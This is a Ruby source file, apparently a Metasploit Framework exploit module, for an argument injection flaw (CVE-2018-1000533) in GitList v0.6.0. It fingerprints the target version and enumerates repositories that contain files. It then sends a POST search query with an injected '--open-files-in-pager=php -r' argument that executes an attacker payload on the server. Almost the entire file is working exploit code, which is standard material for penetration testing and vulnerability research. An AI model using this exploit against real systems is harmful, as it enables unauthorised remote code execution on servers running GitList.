William Vu
106 lines
2.9 KiB
Ruby
106 lines
2.9 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => "GitList v0.6.0 Argument Injection Vulnerability",
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'Description' => %q{
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This module exploits an argument injection vulnerability in GitList v0.6.0.
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The vulnerability arises from GitList improperly validating input using the php function
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'escapeshellarg'.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Kacper Szurek', # EDB POC
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'Shelby Pace' # Metasploit Module
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],
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'References' =>
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[
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[ 'CVE', '2018-1000533' ],
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[ 'EDB', '44548' ],
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[ 'URL', 'https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html']
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],
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'Platform' => ['php'],
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'Arch' => ARCH_PHP,
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'Targets' =>
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[
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[ 'GitList v0.6.0', { } ]
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],
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'Privileged' => false,
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'Payload' => { 'BadChars' => '\'' },
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'DisclosureDate' => "Apr 26 2018",
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'Default path to GitList', '/'])
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])
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end
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def check
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uri = normalize_uri(target_uri.path)
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res = send_request_cgi(
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'method' => 'GET',
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'uri' => uri
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)
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if res && res.code == 200 && /Powered by .*GitList 0\.6\.0/.match(res.body)
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return Exploit::CheckCode::Appears
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end
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Exploit::CheckCode::Safe
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end
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def get_repo
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repo_res = send_request_cgi(
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path)
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)
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if repo_res && repo_res.code == 200
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repos = repo_res.body.scan(/\/([^\/]+)\/master\/rss\//).flatten
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fail_with(Failure::Unreachable, "Could not retrieve any repos") if repos.empty?
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return repos.detect{ |r| r if has_files?(r) }
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else
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fail_with(Failure::Unreachable, "Could not access GitList")
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end
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end
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def has_files?(repo)
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res = send_request_cgi(
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, repo, '/')
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)
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if res && res.code == 200
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print_good("Successfully accessed repo #{repo}")
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return false if res.body.scan(/#{repo}\/blob\/master\//).flatten.empty?
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return true
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else
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fail_with(Failure::Unreachable, "Couldn't detect files in #{repo}'s repo")
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end
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end
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def exploit
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repo = get_repo
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fail_with(Failure::Unreachable, "No files found in repos") if repo.nil?
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postUri = normalize_uri(target_uri.path, repo << '/tree/c/search')
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cmd = "--open-files-in-pager=php -r '#{payload.encoded}'"
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send_request_cgi(
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'method' => 'POST',
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'uri' => postUri,
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'vars_post' => { 'query' => cmd }
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)
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end
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end
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